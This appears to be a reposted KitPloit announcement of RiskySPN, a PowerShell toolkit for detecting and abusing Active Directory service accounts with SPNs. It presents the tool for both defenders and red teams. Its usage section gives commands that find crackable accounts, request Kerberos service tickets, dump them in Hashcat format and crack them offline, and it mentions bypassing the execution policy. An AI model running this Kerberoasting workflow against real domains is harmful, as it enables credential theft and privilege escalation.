Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all articles
Browse latest Browse all 5816

RiskySPN - Detect And Abuse Risky SPNs

$
0
0

RiskySPNs is a collection of PowerShellscripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.
For detailed information: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/

Usage

Install the module
Import-Module .\RiskySPNs.psm1
Or just load the script (you can also IEX from web)
. .\Find-PotentiallyCrackableAccounts.ps1
Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function (very detailed :))
Get-Help Get-TGSCipher -Full
All fucntions also have -Verbose mode

Search vulnerable SPNs
Find vulnerable accounts
Find-PotentiallyCrackableAccounts
Sensitive + RC4 = $$$
Generate full deatiled report about vulnerable accounts (CISO <3)
Export-PotentiallyCrackableAccounts

Get tickets
Request Kerberos TGS for SPN
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"
Or
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

The fun stuff :)
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3



Viewing all articles
Browse latest Browse all 5816

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>